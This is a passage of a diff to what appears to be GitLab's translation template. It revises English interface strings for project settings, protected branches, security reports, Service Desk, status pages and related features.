-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
